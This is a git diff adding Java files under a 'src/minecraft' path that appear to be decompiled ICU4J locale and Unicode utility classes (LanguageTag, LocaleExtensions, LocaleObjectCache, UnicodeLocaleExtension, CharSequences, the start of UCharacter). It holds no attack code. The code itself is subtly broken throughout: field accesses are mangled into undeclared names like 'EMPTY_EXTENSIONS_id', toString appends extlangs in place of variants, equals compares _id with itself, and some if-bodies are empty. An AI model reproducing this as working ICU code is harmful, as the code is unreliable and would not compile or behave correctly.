+    if (extensions != null) {
+      _extensions = extensions;
+      hasSubtag = true;
+    }
+    
+
+    if (privuseVar != null) {
+      if (privateuse == null) {
+        privateuse = "lvariant-" + privuseVar;
+      } else {
+        privateuse = privateuse + "-" + "lvariant" + "-" + privuseVar.replace("_", "-");
+      }
+    }
+    
+    if (privateuse != null) {
+      _privateuse = privateuse;
+    }
+    
+    if ((_language.length() == 0) && ((hasSubtag) || (privateuse == null)))
+    {
+
+
+      _language = UNDETERMINED;
+    }
+    
+    return tag;
+  }
+  
+
+
+
+  public String getLanguage()
+  {
+    return _language;
+  }
+  
+  public List<String> getExtlangs() {
+    return Collections.unmodifiableList(_extlangs);
+  }
+  
+  public String getScript() {
+    return _script;
+  }
+  
+  public String getRegion() {
+    return _region;
+  }
+  
+  public List<String> getVariants() {
+    return Collections.unmodifiableList(_variants);
+  }
+  
+  public List<String> getExtensions() {
+    return Collections.unmodifiableList(_extensions);
+  }
+  
+  public String getPrivateuse() {
+    return _privateuse;
+  }
+  
+
+
+
+
+
+
+
+
+  public static boolean isLanguage(String s)
+  {
+    return (s.length() >= 2) && (s.length() <= 8) && (AsciiUtil.isAlphaString(s));
+  }
+  
+
+  public static boolean isExtlang(String s)
+  {
+    return (s.length() == 3) && (AsciiUtil.isAlphaString(s));
+  }
+  
+  public static boolean isScript(String s)
+  {
+    return (s.length() == 4) && (AsciiUtil.isAlphaString(s));
+  }
+  
+
+  public static boolean isRegion(String s)
+  {
+    return ((s.length() == 2) && (AsciiUtil.isAlphaString(s))) || ((s.length() == 3) && (AsciiUtil.isNumericString(s)));
+  }
+  
+
+
+  public static boolean isVariant(String s)
+  {
+    int len = s.length();
+    if ((len >= 5) && (len <= 8)) {
+      return AsciiUtil.isAlphaNumericString(s);
+    }
+    if (len == 4) {
+      return (AsciiUtil.isNumeric(s.charAt(0))) && (AsciiUtil.isAlphaNumeric(s.charAt(1))) && (AsciiUtil.isAlphaNumeric(s.charAt(2))) && (AsciiUtil.isAlphaNumeric(s.charAt(3)));
+    }
+    
+
+
+    return false;
+  }
+  
+
+
+
+
+
+  public static boolean isExtensionSingleton(String s)
+  {
+    return (s.length() == 1) && (AsciiUtil.isAlphaString(s)) && (!AsciiUtil.caseIgnoreMatch("x", s));
+  }
+  
+
+  public static boolean isExtensionSingletonChar(char c)
+  {
+    return isExtensionSingleton(String.valueOf(c));
+  }
+  
+  public static boolean isExtensionSubtag(String s)
+  {
+    return (s.length() >= 2) && (s.length() <= 8) && (AsciiUtil.isAlphaNumericString(s));
+  }
+  
+  public static boolean isPrivateusePrefix(String s)
+  {
+    return (s.length() == 1) && (AsciiUtil.caseIgnoreMatch("x", s));
+  }
+  
+  public static boolean isPrivateusePrefixChar(char c)
+  {
+    return AsciiUtil.caseIgnoreMatch("x", String.valueOf(c));
+  }
+  
+  public static boolean isPrivateuseSubtag(String s)
+  {
+    return (s.length() >= 1) && (s.length() <= 8) && (AsciiUtil.isAlphaNumericString(s));
+  }
+  
+
+
+
+  public static String canonicalizeLanguage(String s)
+  {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizeExtlang(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizeScript(String s) {
+    return AsciiUtil.toTitleString(s);
+  }
+  
+  public static String canonicalizeRegion(String s) {
+    return AsciiUtil.toUpperString(s);
+  }
+  
+  public static String canonicalizeVariant(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizeExtension(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizeExtensionSingleton(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizeExtensionSubtag(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizePrivateuse(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public static String canonicalizePrivateuseSubtag(String s) {
+    return AsciiUtil.toLowerString(s);
+  }
+  
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    
+    if (_language.length() > 0) {
+      sb.append(_language);
+      
+      for (String extlang : _extlangs) {
+        sb.append("-").append(extlang);
+      }
+      
+      if (_script.length() > 0) {
+        sb.append("-").append(_script);
+      }
+      
+      if (_region.length() > 0) {
+        sb.append("-").append(_region);
+      }
+      
+      for (String variant : _extlangs) {
+        sb.append("-").append(variant);
+      }
+      
+      for (String extension : _extensions) {
+        sb.append("-").append(extension);
+      }
+    }
+    if (_privateuse.length() > 0) {
+      if (sb.length() > 0) {
+        sb.append("-");
+      }
+      sb.append(_privateuse);
+    }
+    
+    return sb.toString();
+  }
+  
+  private LanguageTag() {}
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/LocaleExtensions.java b/src/minecraft/com/ibm/icu/impl/locale/LocaleExtensions.java
new file mode 100644
index 0000000..6ddd173
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/LocaleExtensions.java
@@ -0,0 +1,223 @@
+package com.ibm.icu.impl.locale;
+
+import java.util.Collections;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+
+
+
+
+public class LocaleExtensions
+{
+  private SortedMap<Character, Extension> _map;
+  private String _id;
+  private static final SortedMap<Character, Extension> EMPTY_MAP;
+  public static final LocaleExtensions EMPTY_EXTENSIONS;
+  public static final LocaleExtensions CALENDAR_JAPANESE;
+  public static final LocaleExtensions NUMBER_THAI;
+  
+  static
+  {
+    EMPTY_MAP = Collections.unmodifiableSortedMap(new TreeMap());
+    
+
+
+
+
+
+
+    EMPTY_EXTENSIONS = new LocaleExtensions();
+    EMPTY_EXTENSIONS_id = "";
+    EMPTY_EXTENSIONS_map = EMPTY_MAP;
+    
+    CALENDAR_JAPANESE = new LocaleExtensions();
+    CALENDAR_JAPANESE_id = "u-ca-japanese";
+    CALENDAR_JAPANESE_map = new TreeMap();
+    CALENDAR_JAPANESE_map.put(Character.valueOf('u'), UnicodeLocaleExtension.CA_JAPANESE);
+    
+    NUMBER_THAI = new LocaleExtensions();
+    NUMBER_THAI_id = "u-nu-thai";
+    NUMBER_THAI_map = new TreeMap();
+    NUMBER_THAI_map.put(Character.valueOf('u'), UnicodeLocaleExtension.NU_THAI);
+  }
+  
+
+
+
+
+
+
+  LocaleExtensions(Map<InternalLocaleBuilder.CaseInsensitiveChar, String> extensions, Set<InternalLocaleBuilder.CaseInsensitiveString> uattributes, Map<InternalLocaleBuilder.CaseInsensitiveString, String> ukeywords)
+  {
+    boolean hasExtension = (extensions != null) && (extensions.size() > 0);
+    boolean hasUAttributes = (uattributes != null) && (uattributes.size() > 0);
+    boolean hasUKeywords = (ukeywords != null) && (ukeywords.size() > 0);
+    
+    if ((!hasExtension) && (!hasUAttributes) && (!hasUKeywords)) {
+      _map = EMPTY_MAP;
+      _id = "";
+      return;
+    }
+    
+
+    _map = new TreeMap();
+    if (hasExtension) {
+      for (Map.Entry<InternalLocaleBuilder.CaseInsensitiveChar, String> ext : extensions.entrySet()) {
+        char key = AsciiUtil.toLower(((InternalLocaleBuilder.CaseInsensitiveChar)ext.getKey()).value());
+        String value = (String)ext.getValue();
+        
+        if (LanguageTag.isPrivateusePrefixChar(key))
+        {
+          value = InternalLocaleBuilder.removePrivateuseVariant(value);
+          if (value == null) {}
+
+        }
+        else
+        {
+          Extension e = new Extension(key, AsciiUtil.toLowerString(value));
+          _map.put(Character.valueOf(key), e);
+        }
+      }
+    }
+    if ((hasUAttributes) || (hasUKeywords)) {
+      TreeSet<String> uaset = null;
+      TreeMap<String, String> ukmap = null;
+      
+      if (hasUAttributes) {
+        uaset = new TreeSet();
+        for (InternalLocaleBuilder.CaseInsensitiveString cis : uattributes) {
+          uaset.add(AsciiUtil.toLowerString(cis.value()));
+        }
+      }
+      
+      if (hasUKeywords) {
+        ukmap = new TreeMap();
+        for (Map.Entry<InternalLocaleBuilder.CaseInsensitiveString, String> kwd : ukeywords.entrySet()) {
+          String key = AsciiUtil.toLowerString(((InternalLocaleBuilder.CaseInsensitiveString)kwd.getKey()).value());
+          String type = AsciiUtil.toLowerString((String)kwd.getValue());
+          ukmap.put(key, type);
+        }
+      }
+      
+      UnicodeLocaleExtension ule = new UnicodeLocaleExtension(uaset, ukmap);
+      _map.put(Character.valueOf('u'), ule);
+    }
+    
+    if (_map.size() == 0)
+    {
+      _map = EMPTY_MAP;
+      _id = "";
+    } else {
+      _id = toID(_map);
+    }
+  }
+  
+  public Set<Character> getKeys() {
+    return Collections.unmodifiableSet(_map.keySet());
+  }
+  
+  public Extension getExtension(Character key) {
+    return (Extension)_map.get(Character.valueOf(AsciiUtil.toLower(key.charValue())));
+  }
+  
+  public String getExtensionValue(Character key) {
+    Extension ext = (Extension)_map.get(Character.valueOf(AsciiUtil.toLower(key.charValue())));
+    if (ext == null) {
+      return null;
+    }
+    return ext.getValue();
+  }
+  
+  public Set<String> getUnicodeLocaleAttributes() {
+    Extension ext = (Extension)_map.get(Character.valueOf('u'));
+    if (ext == null) {
+      return Collections.emptySet();
+    }
+    assert ((ext instanceof UnicodeLocaleExtension));
+    return ((UnicodeLocaleExtension)ext).getUnicodeLocaleAttributes();
+  }
+  
+  public Set<String> getUnicodeLocaleKeys() {
+    Extension ext = (Extension)_map.get(Character.valueOf('u'));
+    if (ext == null) {
+      return Collections.emptySet();
+    }
+    assert ((ext instanceof UnicodeLocaleExtension));
+    return ((UnicodeLocaleExtension)ext).getUnicodeLocaleKeys();
+  }
+  
+  public String getUnicodeLocaleType(String unicodeLocaleKey) {
+    Extension ext = (Extension)_map.get(Character.valueOf('u'));
+    if (ext == null) {
+      return null;
+    }
+    assert ((ext instanceof UnicodeLocaleExtension));
+    return ((UnicodeLocaleExtension)ext).getUnicodeLocaleType(AsciiUtil.toLowerString(unicodeLocaleKey));
+  }
+  
+  public boolean isEmpty() {
+    return _map.isEmpty();
+  }
+  
+  public static boolean isValidKey(char c) {
+    return (LanguageTag.isExtensionSingletonChar(c)) || (LanguageTag.isPrivateusePrefixChar(c));
+  }
+  
+  public static boolean isValidUnicodeLocaleKey(String ukey) {
+    return UnicodeLocaleExtension.isKey(ukey);
+  }
+  
+  private static String toID(SortedMap<Character, Extension> map) {
+    StringBuilder buf = new StringBuilder();
+    Extension privuse = null;
+    for (Map.Entry<Character, Extension> entry : map.entrySet()) {
+      char singleton = ((Character)entry.getKey()).charValue();
+      Extension extension = (Extension)entry.getValue();
+      if (LanguageTag.isPrivateusePrefixChar(singleton)) {
+        privuse = extension;
+      } else {
+        if (buf.length() > 0) {
+          buf.append("-");
+        }
+        buf.append(extension);
+      }
+    }
+    if (privuse != null) {
+      if (buf.length() > 0) {
+        buf.append("-");
+      }
+      buf.append(privuse);
+    }
+    return buf.toString();
+  }
+  
+  public String toString()
+  {
+    return _id;
+  }
+  
+  public String getID() {
+    return _id;
+  }
+  
+  public int hashCode() {
+    return _id.hashCode();
+  }
+  
+  public boolean equals(Object other) {
+    if (this == other) {
+      return true;
+    }
+    if (!(other instanceof LocaleExtensions)) {
+      return false;
+    }
+    return _id.equals(_id);
+  }
+  
+  private LocaleExtensions() {}
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/LocaleObjectCache.java b/src/minecraft/com/ibm/icu/impl/locale/LocaleObjectCache.java
new file mode 100644
index 0000000..749af68
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/LocaleObjectCache.java
@@ -0,0 +1,83 @@
+package com.ibm.icu.impl.locale;
+
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.SoftReference;
+import java.util.concurrent.ConcurrentHashMap;
+
+
+
+
+
+
+public abstract class LocaleObjectCache<K, V>
+{
+  private ConcurrentHashMap<K, CacheEntry<K, V>> _map;
+  private ReferenceQueue<V> _queue = new ReferenceQueue();
+  
+  public LocaleObjectCache() {
+    this(16, 0.75F, 16);
+  }
+  
+  public LocaleObjectCache(int initialCapacity, float loadFactor, int concurrencyLevel) {
+    _map = new ConcurrentHashMap(initialCapacity, loadFactor, concurrencyLevel);
+  }
+  
+  public V get(K key) {
+    V value = null;
+    
+    cleanStaleEntries();
+    CacheEntry<K, V> entry = (CacheEntry)_map.get(key);
+    if (entry != null) {
+      value = entry.get();
+    }
+    if (value == null) {
+      key = normalizeKey(key);
+      V newVal = createObject(key);
+      if ((key == null) || (newVal == null))
+      {
+        return null;
+      }
+      
+      CacheEntry<K, V> newEntry = new CacheEntry(key, newVal, _queue);
+      
+      while (value == null) {
+        cleanStaleEntries();
+        entry = (CacheEntry)_map.putIfAbsent(key, newEntry);
+        if (entry == null) {
+          value = newVal;
+          break;
+        }
+        value = entry.get();
+      }
+    }
+    
+    return value;
+  }
+  
+  private void cleanStaleEntries()
+  {
+    CacheEntry<K, V> entry;
+    while ((entry = (CacheEntry)_queue.poll()) != null) {
+      _map.remove(entry.getKey());
+    }
+  }
+  
+  protected abstract V createObject(K paramK);
+  
+  protected K normalizeKey(K key) {
+    return key;
+  }
+  
+  private static class CacheEntry<K, V> extends SoftReference<V> {
+    private K _key;
+    
+    CacheEntry(K key, V value, ReferenceQueue<V> queue) {
+      super(queue);
+      _key = key;
+    }
+    
+    K getKey() {
+      return _key;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/LocaleSyntaxException.java b/src/minecraft/com/ibm/icu/impl/locale/LocaleSyntaxException.java
new file mode 100644
index 0000000..b264d21
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/LocaleSyntaxException.java
@@ -0,0 +1,27 @@
+package com.ibm.icu.impl.locale;
+
+
+
+
+public class LocaleSyntaxException
+  extends Exception
+{
+  private static final long serialVersionUID = 1L;
+  
+
+
+  private int _index = -1;
+  
+  public LocaleSyntaxException(String msg) {
+    this(msg, 0);
+  }
+  
+  public LocaleSyntaxException(String msg, int errorIndex) {
+    super(msg);
+    _index = errorIndex;
+  }
+  
+  public int getErrorIndex() {
+    return _index;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/ParseStatus.java b/src/minecraft/com/ibm/icu/impl/locale/ParseStatus.java
new file mode 100644
index 0000000..d222ae1
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/ParseStatus.java
@@ -0,0 +1,35 @@
+package com.ibm.icu.impl.locale;
+
+
+
+public class ParseStatus
+{
+  public ParseStatus() {}
+  
+
+  int _parseLength = 0;
+  int _errorIndex = -1;
+  String _errorMsg = null;
+  
+  public void reset() {
+    _parseLength = 0;
+    _errorIndex = -1;
+    _errorMsg = null;
+  }
+  
+  public boolean isError() {
+    return _errorIndex >= 0;
+  }
+  
+  public int getErrorIndex() {
+    return _errorIndex;
+  }
+  
+  public int getParseLength() {
+    return _parseLength;
+  }
+  
+  public String getErrorMessage() {
+    return _errorMsg;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/StringTokenIterator.java b/src/minecraft/com/ibm/icu/impl/locale/StringTokenIterator.java
new file mode 100644
index 0000000..7a094f5
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/StringTokenIterator.java
@@ -0,0 +1,92 @@
+package com.ibm.icu.impl.locale;
+
+
+public class StringTokenIterator
+{
+  private String _text;
+  
+  private String _dlms;
+  
+  private String _token;
+  
+  private int _start;
+  
+  private int _end;
+  private boolean _done;
+  
+  public StringTokenIterator(String text, String dlms)
+  {
+    _text = text;
+    _dlms = dlms;
+    setStart(0);
+  }
+  
+  public String first() {
+    setStart(0);
+    return _token;
+  }
+  
+  public String current() {
+    return _token;
+  }
+  
+  public int currentStart() {
+    return _start;
+  }
+  
+  public int currentEnd() {
+    return _end;
+  }
+  
+  public boolean isDone() {
+    return _done;
+  }
+  
+  public String next() {
+    if (hasNext()) {
+      _start = (_end + 1);
+      _end = nextDelimiter(_start);
+      _token = _text.substring(_start, _end);
+    } else {
+      _start = _end;
+      _token = null;
+      _done = true;
+    }
+    return _token;
+  }
+  
+  public boolean hasNext() {
+    return _end < _text.length();
+  }
+  
+  public StringTokenIterator setStart(int offset) {
+    if (offset > _text.length()) {
+      throw new IndexOutOfBoundsException();
+    }
+    _start = offset;
+    _end = nextDelimiter(_start);
+    _token = _text.substring(_start, _end);
+    _done = false;
+    return this;
+  }
+  
+  public StringTokenIterator setText(String text) {
+    _text = text;
+    setStart(0);
+    return this;
+  }
+  
+  private int nextDelimiter(int start) {
+    int idx = start;
+    while (idx < _text.length()) {
+      char c = _text.charAt(idx);
+      for (int i = 0; i < _dlms.length(); i++) {
+        if (c == _dlms.charAt(i)) {
+          return idx;
+        }
+      }
+      idx++;
+    }
+    return idx;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/locale/UnicodeLocaleExtension.java b/src/minecraft/com/ibm/icu/impl/locale/UnicodeLocaleExtension.java
new file mode 100644
index 0000000..0043154
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/locale/UnicodeLocaleExtension.java
@@ -0,0 +1,102 @@
+package com.ibm.icu.impl.locale;
+
+import java.util.Collections;
+import java.util.Map.Entry;
+import java.util.Set;
+import java.util.SortedMap;
+import java.util.SortedSet;
+import java.util.TreeMap;
+import java.util.TreeSet;
+
+
+
+
+
+
+public class UnicodeLocaleExtension
+  extends Extension
+{
+  public static final char SINGLETON = 'u';
+  private static final SortedSet<String> EMPTY_SORTED_SET = new TreeSet();
+  private static final SortedMap<String, String> EMPTY_SORTED_MAP = new TreeMap();
+  
+  private SortedSet<String> _attributes = EMPTY_SORTED_SET;
+  private SortedMap<String, String> _keywords = EMPTY_SORTED_MAP;
+  
+
+
+
+
+  public static final UnicodeLocaleExtension CA_JAPANESE = new UnicodeLocaleExtension();
+  static { CA_JAPANESE_keywords = new TreeMap();
+    CA_JAPANESE_keywords.put("ca", "japanese");
+    CA_JAPANESE_value = "ca-japanese";
+    
+    NU_THAI = new UnicodeLocaleExtension();
+    NU_THAI_keywords = new TreeMap();
+    NU_THAI_keywords.put("nu", "thai");
+    NU_THAI_value = "nu-thai";
+  }
+  
+  public static final UnicodeLocaleExtension NU_THAI;
+  private UnicodeLocaleExtension() { super('u'); }
+  
+
+  UnicodeLocaleExtension(SortedSet<String> attributes, SortedMap<String, String> keywords) {
+    this();
+    if ((attributes != null) && (attributes.size() > 0)) {
+      _attributes = attributes;
+    }
+    if ((keywords != null) && (keywords.size() > 0)) {
+      _keywords = keywords;
+    }
+    
+    if ((_attributes.size() > 0) || (_keywords.size() > 0)) {
+      StringBuilder sb = new StringBuilder();
+      for (String attribute : _attributes) {
+        sb.append("-").append(attribute);
+      }
+      for (Map.Entry<String, String> keyword : _keywords.entrySet()) {
+        String key = (String)keyword.getKey();
+        String value = (String)keyword.getValue();
+        
+        sb.append("-").append(key);
+        if (value.length() > 0) {
+          sb.append("-").append(value);
+        }
+      }
+      _value = sb.substring(1);
+    }
+  }
+  
+  public Set<String> getUnicodeLocaleAttributes() {
+    return Collections.unmodifiableSet(_attributes);
+  }
+  
+  public Set<String> getUnicodeLocaleKeys() {
+    return Collections.unmodifiableSet(_keywords.keySet());
+  }
+  
+  public String getUnicodeLocaleType(String unicodeLocaleKey) {
+    return (String)_keywords.get(unicodeLocaleKey);
+  }
+  
+  public static boolean isSingletonChar(char c) {
+    return 'u' == AsciiUtil.toLower(c);
+  }
+  
+  public static boolean isAttribute(String s)
+  {
+    return (s.length() >= 3) && (s.length() <= 8) && (AsciiUtil.isAlphaNumericString(s));
+  }
+  
+  public static boolean isKey(String s)
+  {
+    return (s.length() == 2) && (AsciiUtil.isAlphaNumericString(s));
+  }
+  
+  public static boolean isTypeSubtag(String s)
+  {
+    return (s.length() >= 3) && (s.length() <= 8) && (AsciiUtil.isAlphaNumericString(s));
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/lang/CharSequences.java b/src/minecraft/com/ibm/icu/lang/CharSequences.java
new file mode 100644
index 0000000..900376d
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/CharSequences.java
@@ -0,0 +1,300 @@
+package com.ibm.icu.lang;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+/**
+ * @deprecated
+ */
+public class CharSequences
+{
+  /**
+   * @deprecated
+   */
+  public static int matchAfter(CharSequence a, CharSequence b, int aIndex, int bIndex)
+  {
+    int i = aIndex;int j = bIndex;
+    int alen = a.length();
+    int blen = b.length();
+    for (; (i < alen) && (j < blen); j++) {
+      char ca = a.charAt(i);
+      char cb = b.charAt(j);
+      if (ca != cb) {
+        break;
+      }
+      i++;
+    }
+    
+
+
+
+
+
+    int result = i - aIndex;
+    if ((result != 0) && (!onCharacterBoundary(a, i)) && (!onCharacterBoundary(b, j))) {
+      result--;
+    }
+    return result;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public int codePointLength(CharSequence s)
+  {
+    return Character.codePointCount(s, 0, s.length());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final boolean equals(int codepoint, CharSequence other)
+  {
+    if (other == null) {
+      return false;
+    }
+    switch (other.length()) {
+    case 1:  return codepoint == other.charAt(0);
+    case 2:  return (codepoint > 65535) && (codepoint == Character.codePointAt(other, 0)); }
+    return false;
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  public static final boolean equals(CharSequence other, int codepoint)
+  {
+    return equals(codepoint, other);
+  }
+  
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int compare(CharSequence string, int codePoint)
+  {
+    if ((codePoint < 0) || (codePoint > 1114111)) {
+      throw new IllegalArgumentException();
+    }
+    int stringLength = string.length();
+    if (stringLength == 0) {
+      return -1;
+    }
+    char firstChar = string.charAt(0);
+    int offset = codePoint - 65536;
+    
+    if (offset < 0) {
+      int result = firstChar - codePoint;
+      if (result != 0) {
+        return result;
+      }
+      return stringLength - 1;
+    }
+    
+    char lead = (char)((offset >>> 10) + 55296);
+    int result = firstChar - lead;
+    if (result != 0) {
+      return result;
+    }
+    if (stringLength > 1) {
+      char trail = (char)((offset & 0x3FF) + 56320);
+      result = string.charAt(1) - trail;
+      if (result != 0) {
+        return result;
+      }
+    }
+    return stringLength - 2;
+  }
+  
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int compare(int codepoint, CharSequence a)
+  {
+    return -compare(a, codepoint);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static int getSingleCodePoint(CharSequence s)
+  {
+    int length = s.length();
+    if ((length < 1) || (length > 2)) {
+      return Integer.MAX_VALUE;
+    }
+    int result = Character.codePointAt(s, 0);
+    return (result < 65536 ? 1 : 0) == (length == 1 ? 1 : 0) ? result : Integer.MAX_VALUE;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public static final <T> boolean equals(T a, T b)
+  {
+    return b == null ? false : a == null ? false : b == null ? true : a.equals(b);
+  }
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int compare(CharSequence a, CharSequence b)
+  {
+    int alength = a.length();
+    int blength = b.length();
+    int min = alength <= blength ? alength : blength;
+    for (int i = 0; i < min; i++) {
+      int diff = a.charAt(i) - b.charAt(i);
+      if (diff != 0) {
+        return diff;
+      }
+    }
+    return alength - blength;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean equalsChars(CharSequence a, CharSequence b)
+  {
+    return (a.length() == b.length()) && (compare(a, b) == 0);
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  public static boolean onCharacterBoundary(CharSequence s, int i)
+  {
+    return (i <= 0) || (i >= s.length()) || (!Character.isHighSurrogate(s.charAt(i - 1))) || (!Character.isLowSurrogate(s.charAt(i)));
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int indexOf(CharSequence s, int codePoint)
+  {
+    int cp;
+    
+
+    for (int i = 0; i < s.length(); i += Character.charCount(cp)) {
+      cp = Character.codePointAt(s, i);
+      if (cp == codePoint) {
+        return i;
+      }
+    }
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  public static int[] codePoints(CharSequence s)
+  {
+    int[] result = new int[s.length()];
+    int j = 0;
+    for (int i = 0; i < s.length(); i++) {
+      char cp = s.charAt(i);
+      if ((cp >= 56320) && (cp <= 57343) && (i != 0)) {
+        char last = (char)result[(j - 1)];
+        if ((last >= 55296) && (last <= 56319))
+        {
+          result[(j - 1)] = Character.toCodePoint(last, cp);
+          continue;
+        }
+      }
+      result[(j++)] = cp;
+    }
+    if (j == result.length) {
+      return result;
+    }
+    int[] shortResult = new int[j];
+    System.arraycopy(result, 0, shortResult, 0, j);
+    return shortResult;
+  }
+  
+  private CharSequences() {}
+}
diff --git a/src/minecraft/com/ibm/icu/lang/UCharacter.java b/src/minecraft/com/ibm/icu/lang/UCharacter.java
new file mode 100644
index 0000000..b1e1e30
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/lang/UCharacter.java
@@ -0,0 +1,5962 @@
+package com.ibm.icu.lang;
+
+import com.ibm.icu.impl.IllegalIcuArgumentException;
+import com.ibm.icu.impl.Norm2AllModes;
+import com.ibm.icu.impl.Norm2AllModes.DecomposeNormalizer2;
+import com.ibm.icu.impl.Trie2.Range;
+import com.ibm.icu.impl.Trie2.ValueMapper;
+import com.ibm.icu.impl.Trie2_16;
+import com.ibm.icu.impl.UBiDiProps;
+import com.ibm.icu.impl.UCaseProps;
+import com.ibm.icu.impl.UCaseProps.ContextIterator;
+import com.ibm.icu.impl.UCharacterName;
+import com.ibm.icu.impl.UCharacterProperty;
+import com.ibm.icu.impl.UCharacterUtility;
+import com.ibm.icu.impl.UPropertyAliases;
+import com.ibm.icu.text.BreakIterator;
+import com.ibm.icu.text.UTF16;
+import com.ibm.icu.util.RangeValueIterator;
+import com.ibm.icu.util.RangeValueIterator.Element;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ValueIterator;
+import com.ibm.icu.util.ValueIterator.Element;
+import com.ibm.icu.util.VersionInfo;
+import java.lang.ref.SoftReference;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.Locale;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class UCharacter
+  implements UCharacterEnums.ECharacterCategory, UCharacterEnums.ECharacterDirection
+{
+  public static final int MIN_VALUE = 0;
+  public static final int MAX_VALUE = 1114111;
+  public static final int SUPPLEMENTARY_MIN_VALUE = 65536;
+  public static final int REPLACEMENT_CHAR = 65533;
+  public static final double NO_NUMERIC_VALUE = -1.23456789E8D;
+  public static final int MIN_RADIX = 2;
+  public static final int MAX_RADIX = 36;
+  public static final int TITLECASE_NO_LOWERCASE = 256;
+  public static final int TITLECASE_NO_BREAK_ADJUSTMENT = 512;
